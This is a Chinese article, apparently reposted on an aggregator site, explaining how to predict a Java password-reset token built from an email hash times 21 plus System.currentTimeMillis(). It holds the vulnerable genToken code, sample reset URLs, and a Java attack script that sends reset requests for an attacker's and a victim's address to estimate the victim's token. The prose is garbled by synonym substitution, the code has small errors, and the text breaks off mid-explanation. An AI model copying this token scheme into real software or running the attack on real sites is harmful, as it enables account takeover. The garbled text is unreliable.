当前位置:七道奇文章资讯编程技术Java编程
日期:2012-02-22 10:00:00  来源:本站整理

操作系统时间可猜想破解java随机数[Java编程]

赞助商链接



  本文“操作系统时间可猜想破解java随机数[Java编程]”是由七道奇为您精心收集,来源于网络转载,文章版权归文章作者所有,本站不对其观点以及内容做任何评价,请读者自行判断,以下是其具体内容:

择要:
这是一个随机函数破解的经典例子.在java程序中,获得随机数的做法有多种.但是我们实现一个随机token,并用于认证时,普通第一时间,想起来利用“System.currentTimeMillis”,本文会具体讲授一次破解随机数的经过.

正文:

“System.currentTimeMillis”这个办法,返回从UTC 1970年1月1日午夜开始经过的毫秒数.履行后果,大概是近似“1315395175327”这样的数字,因为背面的几位,是毫秒,所以履行后果就仿佛“随机”一样.
本日碰到的一个系统,相关业务逻辑场景,是用于找回密码.首先要求用户输入自己的邮箱,系统算出来一个token,发给用户邮箱,让用户利用token,履行改正密码的这一步.
1、输入邮箱.
2、发送邮件给用户邮箱.
3、按照邮箱中的链接,改正密码
就是说,只要能破解了服务器给用户生成的token,便可以直接改正用户密码.
在生成token时,采取了这样一段代码:

 

 

public String genToken(String email) {
String token = email.hashCode() * 21 + System.currentTimeMillis() + "";
return token;
}

 

 

从代码上可以看到,Email的hashcode,在用户的email固定的情形下,是不变的,那么这个不变的数字,即便乘以21,仍然是不变的.只要知道了用户的email,便可以知道这个数字.
真正随机的只有System.currentTimeMillis()
这个办法貌似随机,条件答应的情形下,其实是可以破解的.

操纵系统时间可猜测破解java随机数:

按照以上流程,只要攻击者提交

 

 

http://www.inbreak.net/user/findpassword.action?email=4700012@qq.com

 

 

便可以给攻击者的邮箱,发一封EMAIL.
================
你好,空虚荡子心:
请点击链接重置密码.该链接24小时内有效.
或将以下链接拷贝到浏览器地址栏中:

 

 

http://www.inbreak.net/user/resetpassword.action?token=1315336352414

 

 

该邮件由系统自动发送,请勿直接答复此邮件.
==============
随后的那个token,就是随机生成的数字.同理,输入另一个用户(被攻击者)的邮箱,也可以发送一封email.假如服务器上的时间,和攻击者机械上履行的时间一致,在不考虑网络传输本钱的前提下,是可以直接得到token的.
当然,这不大概.
但是好在我们的时间速度,和服务器的时间速度,基本一致.注意,这里讲的不是时间一致,是时间的速度一致,大概本地的时间是10点,服务器是11点,那么当本地的时间为11点时,服务器必定已经12点了.
我们的时间,和服务器时间,老是会相差一个数字.
网络速度,每次传输都不一致,第一次发出恳求,大概用1.020秒,第二次,用0.921秒.
不要紧,我们尽大概让它变得可猜测些.
在本地,写这样一段代码:
=================

 

 

    public static void main(String[] args) throws IOException {
       System.out.println(i + 1);
       i++;
       System.out.println("------mystart");
       System.out.println("4700012@qq.com ".hashCode() * 21
              + System.currentTimeMillis());
       sendPost("http://www.inbreak.net/user/findpassword.action?email=4700012@qq.com");
       System.out.println("4700012@qq.com".hashCode() * 21
              + System.currentTimeMillis());
       System.out.println("------myend");
       System.out.println("------user start");
       Long x = "10000@qq.com".hashCode() * 21
              + System.currentTimeMillis();
       System.out.println(x);
      sendPost("http://www.inbreak.net/user/findpassword.action?email=10000@qq.com");
       Long y = "10000@qq.com ".hashCode() * 21
              + System.currentTimeMillis();
       System.out.println(y);
       System.out.println(y - x);
       System.out.println("------user end");
    }

 

 

=================

代码流程,利用文字描写:

1、 打印攻击者的开始时间.

2、 发邮件给攻击者.

3、 打印攻击者的完毕时间.
  以上是“操作系统时间可猜想破解java随机数[Java编程]”的内容,如果你对以上该文章内容感兴趣,你可以看看七道奇为您推荐以下文章:

  • 若何让用户无法注销电脑操作系统
  • win7和vista操作系统关闭用户账户掌握的办法
  • XP进级到Win8操作系统有哪些办法
  • Windows8操作系统新手的快速入门指南
  • 办理Windows操作系统下宽带衔接错误651的办法
  • 操作系统的Hosts文件的具体介绍与解析(图文)
  • Windows XP操作系统开启WiFi热门的具体办法(图文教程)
  • Win 8操作系统启动后若何设置自动进入桌面
  • Windows操作系统下错误办理的通用号令
  • 办理Windows操作系统启动迟钝办法
  • Ubuntu操作系统下opera与scim冲突的办理
  • Linux操作系统上摄像头的利用小本领
  • 本文地址: 与您的QQ/BBS好友分享!
    • 好的评价 如果您觉得此文章好,就请您
        0%(0)
    • 差的评价 如果您觉得此文章差,就请您
        0%(0)

    文章评论评论内容只代表网友观点,与本站立场无关!

       评论摘要(共 0 条,得分 0 分,平均 0 分) 查看完整评论
    Copyright © 2020-2022 www.xiamiku.com. All Rights Reserved .